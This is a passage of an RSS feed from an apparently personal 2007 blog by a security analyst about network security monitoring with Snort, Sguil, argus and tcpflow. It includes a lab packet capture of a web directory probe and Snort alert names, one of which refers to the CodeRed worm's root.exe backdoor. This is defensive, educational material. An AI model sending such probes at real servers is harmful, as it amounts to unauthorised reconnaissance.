		<description><![CDATA[I can&#8217;t get anything done today. Why? Dunno. My brain seems to boycott me. (fortunately it still process the basic functions properly if not then I&#8217;ll be lying on my bed doing nothing) Anyway I&#8217;ve came across with shirkdog post on Tuning the IDS. His posting did mention about the needs of having the right [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/231/jammed.html' addthis:title='Jammed '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>I can&#8217;t get anything done today. Why? Dunno. My brain seems to boycott me. (fortunately it still process the basic functions properly if not then I&#8217;ll be lying on my bed doing nothing)</p>
<p>Anyway I&#8217;ve came across with <a href="http://www.shirkdog.us/blog.html" target="_blank">shirkdog</a> post on Tuning the IDS. <a href="http://www.shirkdog.us/blog.html" target="_blank">His posting</a> did mention about the needs of having the right rules for the right segment monitored. What are the purpose of having IIS and windows related rules when the segment that u monitored like the DMZ dun have any windows installed on the machines? Unless there&#8217;s any case that an administrator who has IIS installed on his apache powered web servers which I highly doubt will happen. <img src='http://blog.hazrulnz.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>That reminds me of the discussion that I had with my colleague on friday. Actually the argument was about the needs of full content. To be specific is access speed for analyst to access the full content data. To have full content, session, statistical and alerts data is the ideal way for monitoring purpose. But for our clients, the bandwidth and storage are the main issue. So I suggest that we shud fine tune the rules, log as many as we can for session data and trigger the full content data collection when there&#8217;re any suspicious traffics that need to be analysed. Having all the rules activated will of cause generate too many false positives alerts. For example, why do we have to waste our time analysing <em>WEB-IIS ISAPI .idq access</em> or <em>WEB-IIS CodeRed v2 root.exe access</em> alerts attempts on our freebsd with apache webservers?</p>
<p>You tell me.</p>
<p>p/s: I&#8217;m still finalising the materials for <a href="http://geek00l.blogspot.com/2007/03/netsecanalyst-handbook.html" target="_blank">geek00l&#8217;s security analyst handbook</a>. There are few adjustment needed as some of the information are sensitive hehehe. Perhaps I shud simulate the attack. Hmmm</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/231/jammed.html' addthis:title='Jammed '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/231/jammed.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Not only wireshark or ethereal.</title>
		<link>http://blog.hazrulnz.net/229/not-only-wireshark-or-ethereal.html</link>
		<comments>http://blog.hazrulnz.net/229/not-only-wireshark-or-ethereal.html#comments</comments>
		<pubDate>Thu, 19 Apr 2007 15:24:44 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/229/not-only-wireshark-or-ethereal.html</guid>
		<description><![CDATA[Well, I did learn something yesterday and few days back. From reading Mr.Bejtlich article on insecure magazine (Issue 4, Oct 2005) and also from conversation with my friend, geek00l. From the article I learnt what to see, what to look and how to properly use the trace files that we have by using open source [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/229/not-only-wireshark-or-ethereal.html' addthis:title='Not only wireshark or ethereal. '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Well, I did learn something yesterday and few days back. From reading <a href="http://taosecurity.blogspot.com" target="_blank">Mr.Bejtlich</a> article on insecure magazine (Issue 4, Oct 2005) and also from conversation with my friend, <a href="http://geek00l.blogspot.com" target="_blank">geek00l</a>. From the article I learnt what to see, what to look and how to properly use the trace files that we have by using open source tools and most of them (I think all of them) available on FreeBSD and perhaps other OSes as well such as argus, tcpdstat, tcpflow (now can use radump). And from my friend <a href="http://geek00l.blogspot.com" target="_blank">geek00l</a>, he showed how to trace passive ftp traffics (example-a good one btw) with argus (ragrep, ra, radump) and even show that detecting IPv6 passive ftp traffic is more simpler than IPv4. I told you he is good.</p>
<p>So perhaps next postings I can show that from this :</p>
<p><em>16:12:14.510121 IP 192.168.8.1.2265 &gt; 192.168.8.130.http: S 3484844009:3484844009(0) win 65535 &lt;mss 1460,nop,nop,sackOK&gt;<br />
16:12:14.510121 IP 192.168.8.130.http &gt; 192.168.8.1.2265: S 3687266312:3687266312(0) ack 3484844010 win 65535 &lt;mss 1460,sackOK,eol&gt;<br />
16:12:14.510121 IP 192.168.8.1.2265 &gt; 192.168.8.130.http: . ack 1 win 65535<br />
16:12:14.511997 IP 192.168.8.1.2265 &gt; 192.168.8.130.http: P 1:41(40) ack 1 win 65535<br />
16:12:14.520966 IP 192.168.8.130.http &gt; 192.168.8.1.2265: . 1:1461(1460) ack 41 win 65535<br />
16:12:14.521462 IP 192.168.8.130.http &gt; 192.168.8.1.2265: P 1461:1840(379) ack 41 win 65535<br />
16:12:14.521486 IP 192.168.8.1.2265 &gt; 192.168.8.130.http: . ack 1840 win 65535 </em></p>
<p>Getting this (statistical data):</p>
<p><em>StartTime: Tue Apr 17 16:12:14 2007<br />
EndTime:   Tue Apr 17 16:12:24 2007<br />
TotalTime: 10.93 seconds<br />
TotalCapSize: 0.86MB  CapLen: 512 bytes<br />
# of packets: 2694 (1.17MB)<br />
AvgRate: 974.33Kbps  stddev:1162.70K</em></p>
<p><em>### IP flow (unique src/dst pair) Information ###<br />
# of flows: 2  (avg. 1347.00 pkts/flow)<br />
Top 10 big flow size (bytes/total in %):<br />
75.0% 25.0%</em></p>
<p><em>### IP address Information ###<br />
# of IPv4 addresses: 2<br />
Top 10 bandwidth usage (bytes/total in %):<br />
100.0% 100.0%<br />
### Packet Size Distribution (including MAC headers) ###<br />
&lt;&lt;&lt;&lt;<br />
[   32-   63]:        720<br />
[   64-  127]:         28<br />
[  128-  255]:          7<br />
[  256-  511]:        833<br />
[  512- 1023]:        820<br />
[ 1024- 2047]:        286    protocol           packets                 bytes           bytes/pkt<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
[0] total             2694 (100.00%)          1230404 (100.00%)    456.72<br />
[1] ip                2694 (100.00%)          1230404 (100.00%)    456.72<br />
[2]  tcp              2662 ( 98.81%)          1228043 ( 99.81%)    461.32<br />
[3]   http(s)         1234 ( 45.81%)           914754 ( 74.35%)    741.29<br />
[3]   http(c)         1150 ( 42.69%)           297133 ( 24.15%)    258.38<br />
[3]   squid             12 (  0.45%)              696 (  0.06%)     58.00<br />
[3]   other            266 (  9.87%)            15460 (  1.26%)     58.12<br />
[2]  udp                12 (  0.45%)             1085 (  0.09%)     90.42<br />
[3]   dns                3 (  0.11%)              338 (  0.03%)    112.67<br />
[3]   other              9 (  0.33%)              747 (  0.06%)     83.00<br />
[2]  icmp               20 (  0.74%)             1276 (  0.10%)     63.80</em></p>
<p>And from there look at the session</p>
<p><em>StartTime        Flgs   Type     SrcAddr     Sport Dir     DstAddr     Dport SrcPkt   DstPkt    SrcBytes     DstBytes    State</em></p>
<p><em>17 Apr 07 16:12:14           tcp     192.168.8.1.2265   -&gt;   192.168.8.130.80    6        5         372          2117        FIN<br />
17 Apr 07 16:12:14           tcp     192.168.8.1.2267   -&gt;   192.168.8.130.80    6        5         478          2174        FIN</em></p>
<p>and see what actually happen (I&#8217;m using tcpflow instead of radump. Basically ragrep and radump are faster). Have some minor prob with argus 3 and I can hear <a href="http://geek00l.blogspot.com" target="_blank">geek00l</a> is laughing his head off.</p>
<p><em>192.168.008.001.02320-192.168.008.130.00080: GET /iissamples/ HTTP/1.1<br />
Connection: Keep-Alive<br />
Host: ayoimonitoring<br />
Pragma: no-cache<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)<br />
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*<br />
Accept-Language: en<br />
Accept-Charset: iso-8859-1,*,utf-8</em></p>
<p><em>192.168.008.130.00080-192.168.008.001.02320: HTTP/1.1 404 Not Found<br />
Date: Tue, 17 Apr 2007 08:12:20 GMT<br />
Server: Apache/1.3.37 (Unix) PHP/4.4.4 with Suhosin-Patch<br />
Keep-Alive: timeout=15, max=97<br />
Connection: Keep-Alive<br />
Transfer-Encoding: chunked<br />
Content-Type: text/html; charset=iso-8859-1</em></p>
<p>And we might even can see whut alerts that might triggered. Or can use the alerts to investigate using session and full content as above.</p>
<p><em>[**] [1:993:11] WEB-IIS iisadmin access [**]<br />
[Classification: Web Application Attack] [Priority: 1]<br />
04/17-16:12:20.595945 192.168.8.1:2320 -&gt; 192.168.8.130:80<br />
TCP TTL:128 TOS:0&#215;0 ID:12258 IpLen:20 DgmLen:329 DF<br />
***AP*** Seq: 0x6E6D2495  Ack: 0xC519A20F  Win: 0xFDE9  TcpLen: 20</em></p>
<p><em>[**] [1:1402:7] WEB-IIS iissamples access [**]<br />
[Classification: Web Application Attack] [Priority: 1]<br />
04/17-16:12:20.598448 192.168.8.1:2320 -&gt; 192.168.8.130:80<br />
TCP TTL:128 TOS:0&#215;0 ID:12259 IpLen:20 DgmLen:331 DF<br />
***AP*** Seq: 0x6E6D25B6  Ack: 0xC519A427  Win: 0xFBD1  TcpLen: 20 </em></p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/229/not-only-wireshark-or-ethereal.html' addthis:title='Not only wireshark or ethereal. '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/229/not-only-wireshark-or-ethereal.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NSM in Malaysia</title>
		<link>http://blog.hazrulnz.net/219/nsm-in-malaysia.html</link>
		<comments>http://blog.hazrulnz.net/219/nsm-in-malaysia.html#comments</comments>
		<pubDate>Sat, 14 Apr 2007 03:45:17 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/219/nsm-in-malaysia.html</guid>
		<description><![CDATA[Security is relatively new in Malaysia (Based on my observation anyway) as the awareness level is errrr.. I can put it mediocre. Okay, ppl know about firewalls and IDS (IPS nowadays) but the proper understanding is not there. (snort itself only is not the IDS. It is only one of the IDS tools or to [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/219/nsm-in-malaysia.html' addthis:title='NSM in Malaysia '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Security is relatively new in Malaysia (Based on my observation anyway) as the awareness level is errrr.. I can put it mediocre. Okay, ppl know about firewalls and IDS (IPS nowadays) but the proper understanding is not there. (snort itself only is not the IDS. It is only one of the IDS tools or to be exact the detection engine). What are the purpose of having the detection engine if there&#8217;s no one or nobody to interprate the output generated by it? What are the purpose of having personnel to monitor all the alerts triggered if they don&#8217;t have (or refuse to equip themselves)adequate knowledge in analysing intrusion or extrusion incidents?</p>
<p>NSM or Network Security Monitoring is new to me. I believe there&#8217;re people in Malaysia who working hard in introducing and increasing the awareness level of proper network security monitoring in Malaysia. People like <a href="http://geek00l.blogspot.com" target="_blank">geek00l</a>, <a href="http://mel.icious.net/blog" target="_blank">mel</a> and others even provides few trainings on this matter as well. Me? To be honest, I only took this analysis field seriously since 2004. Yeah, still a new person in this field(proper). I tried to catch up by reading, asking, hands-on training and practice to equip myself with the proper knowledge.</p>
<p>Why NSM? I embracing this principle because of the problems that I&#8217;ve encountered during my service years at The Client site. The main problem is alerts validation. I discovered that it is damned difficult to give an absolute answer on alerts just based on its payloads and other related alerts triggered. Most of the time, my analysis will not be conclusive, lack of other resources to make my analysis really firm and absolute. That&#8217;s why I said on my previous posts, it was  more like a guessing game.</p>
<p>If you are an analyst, detecting intrusion or extrusion incidents is your job scope, trust me, you can&#8217;t help but to admit that so far the nsm principles is the best practice.</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/219/nsm-in-malaysia.html' addthis:title='NSM in Malaysia '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/219/nsm-in-malaysia.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Confuse?</title>
		<link>http://blog.hazrulnz.net/212/confuse.html</link>
		<comments>http://blog.hazrulnz.net/212/confuse.html#comments</comments>
		<pubDate>Mon, 02 Apr 2007 20:14:17 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/212/confuse.html</guid>
		<description><![CDATA[I&#8217;ve been asked about nsm and sguil for few times. Well most of the time I will either refer them to Richard&#8217;s blog or ask them to read his book (The Tao of Network Security Monitoring-Beyond Intrusion Detection). I am using sguil because for time being it is the only application that really embrace the nsm [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/212/confuse.html' addthis:title='Confuse? '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been asked about nsm and sguil for few times. Well most of the time I will either refer them to <a href="http://taosecurity.blogspot.com" target="_blank">Richard&#8217;s blog</a> or ask them to read his book (The Tao of Network Security Monitoring-Beyond Intrusion Detection).</p>
<p>I am using sguil because for time being it is the only application that really embrace the nsm concept. The user can make use all the data collected by its sensor in order to identify and validating any intrusions or extrusion incidents. IMHO, while performing my daily tasks the main concern or problem that I&#8217;ve encountered so many times is validating intrusion/extrusion. Once we received alerts or warning on <em><strong>suspicious</strong></em> activities, the main questions need to be answered.</p>
<p>&#8220;Are these warnings or alerts valid or only false alarm? Why?&#8221;<br />
Believe me, based on my experience, having only snort alerts will make this question too difficult to answer properly. Why? Most of the time after looking at the alerts, there is nothing we else can do. You can guess whether the activities that trigger the alerts have any damaging impact on the victim by trying to simulate the attack based on the payload. And these only effective for most of the web attack. Other than that? &#8220;Notify the Network Administrator or The Client authorized personnel on the activities detected and ask them to check their server.&#8221;</p>
<p>NSM is about collection, analysis, and escalation of indications and warnings to detect and  respond to intrusions or extrusions. Product or tools will do the data collection and HUMAN intervention is needed in order to provide context or analyze the data collected. Full content, session, statistical and alert data are necessary resources needed by analysts in doing their analysis. Having all those 4 data is an ideal setup but we might have to settle for an optimal setup to accomodate our network structure and design (allocating a huge storage for full content might not be possible in one network but not to other network. Still instead of having a month worth of full content data, might as well just store a day or a week data and more session data).</p>
<p>NSM is not a SEM, forensic tools, and intrusion prevention tools. It is a concept. Sguil is an application that embraces this concept. If u are using other application, collecting necessary data, designing defensible network, realized that prevention eventually fails, you are practising NSM. NSM is not Sguil and Sguil is not NSM. 2 different thing ok? <img src='http://blog.hazrulnz.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/212/confuse.html' addthis:title='Confuse? '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/212/confuse.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finally</title>
		<link>http://blog.hazrulnz.net/211/finally-3.html</link>
		<comments>http://blog.hazrulnz.net/211/finally-3.html#comments</comments>
		<pubDate>Tue, 27 Mar 2007 02:49:05 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/211/finally-3.html</guid>
		<description><![CDATA[Finally I have one machine (old one but I think can do the job btw) to run sguil. Because I dun have the luxury of having many machines (it will take quite a loooooooooooooooooooooooong time to get one btw) so I have the sguil server and sensor installed in that *cough testing *cough machine. Managed [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/211/finally-3.html' addthis:title='Finally '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Finally I have one machine (old one but I think can do the job btw) to run sguil. Because I dun have the luxury of having many machines (it will take quite a loooooooooooooooooooooooong time to get one btw) so I have the sguil server and sensor installed in that *cough testing *cough machine. Managed to savaged the RAM from other unwanted machines (pc133 RAM is lil bit difficult to find here).</p>
<p>lil bit info of the machine:</p>
<p><em>FreeBSD sguil.mss 6.2-RELEASE-p2 FreeBSD 6.2-RELEASE-p2 #0: Tue Feb 27 22:41:06 UTC 2007 </em></p>
<p><em>Intel(R) Pentium(R) 4 CPU 1.50GHz (1523.56-MHz 686-class CPU)<br />
real memory  = 805306368 (768 MB)<br />
avail memory = 778682368 (742 MB)<br />
</em></p>
<p><em>Filesystem        Size          Used   Avail       Capacity    Mounted on<br />
/dev/ad0s1a    496M     36M    420M          8%                /<br />
devfs                 1.0K         1.0K      0B            100%           /dev<br />
/dev/ad3s1d     36G       16K     33G             0%               /nsm<br />
/dev/ad0s1e     33G       1.2G    30G             4%              /usr<br />
/dev/ad0s1d    1.7G       39M    1.5G             2%             /var</em><br />
For time being, I only plan to deploy this machine to monitor our SOC network only. Hmm I do need another machine to be placed in front of our firewall as well. Initially I plan just to use the data gathered by our internal and external sensor but after second, third and fourth thought I think better for me to request one manageable switch to mirror all the traffic to the sguil. I just don&#8217;t want to answer many queries later.</p>
<p>The purpose of this machine :</p>
<p>1). Actually to see the size required to store full content data, at least one day&#8217;s worth.</p>
<p>2). The data collected will be used in my training that I have to conduct later.</p>
<p>3). To introduce the usage of all the data collected by sguil in validating/investigating incidents or suspicious traffic to the analyst at the SOC. I might call it NSM awareness.</p>
<p>4).  Perhaps we can do some data mining and traffic threat analysis</p>
<p>5). For Attack and Defense project. Our pen tester will run/scan/brute force any exploits or 0-dayz exploit developed by our TSS team on a machine or machines placed in the SOC. We will try to detect this activities (some of it will not be triggered by IDS, so the ability and knowledge to do traffic analysis will be beneficial).</p>
<p>6). To compare the detection / data collection mechanism with our current SIEM. Perhaps in the future we can integrate the session and full content data collection besides only alerts and devices logs.</p>
<p>7). Needed for my so called white paper.</p>
<p>Actually there&#8217;re thousands reasons why I want my sguil deployed. But those above are the main factors. Maybe sguil will be used in the SOC later or maybe not or maybe we finally realized that those data are important.</p>
<p>p/s: I just realized that the time stamp on my sguil-client is not correct. While the clock on my windows  taskbar shows 10:39 AM, the time shown at the Sguil-client is 01:29. But after doing some minor adjustment to the SguilUtil.tcl, everything solved and the time is shown correctly.</p>
<p>This is what I do :</p>
<p>C:\sguil-client-0.6.1\sguil-0.6.1\client\lib\SguilUtil.tcl (I just edit the file using wordpad)</p>
<p>Just change from true to false (-gmt true &#8211;&gt; -gmt false)</p>
<p># GetCurrentTimeStamp: Returns date/time in YYYYY-MM-DD HH:MM:SS.<br />
#<br />
<em>proc GetCurrentTimeStamp { {clockOption {today} } } {<br />
set timestamp [clock format [clock scan "$clockOption"] <strong>-gmt true</strong> -f &#8220;%Y-%m-%d %T&#8221;]<br />
return $timestamp<br />
}</em><br />
<em>proc GetCurrentTimeStamp { {clockOption {today} } } {<br />
set timestamp [clock format [clock scan "$clockOption"] <strong>-gmt false</strong> -f &#8220;%Y-%m-%d %T&#8221;]<br />
return $timestamp<br />
}</em></p>
<p>p/ss: I still believe a knowledgeable analyst still needed in detecting incidents. Nothing can beat human intuition, instinct and judgement. I wish we do have the fully automated super SIEM/SEM but I dun think it will happen. Human intervention will always be needed.</p>
<p><em><br />
</em></p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/211/finally-3.html' addthis:title='Finally '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/211/finally-3.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.493 seconds -->

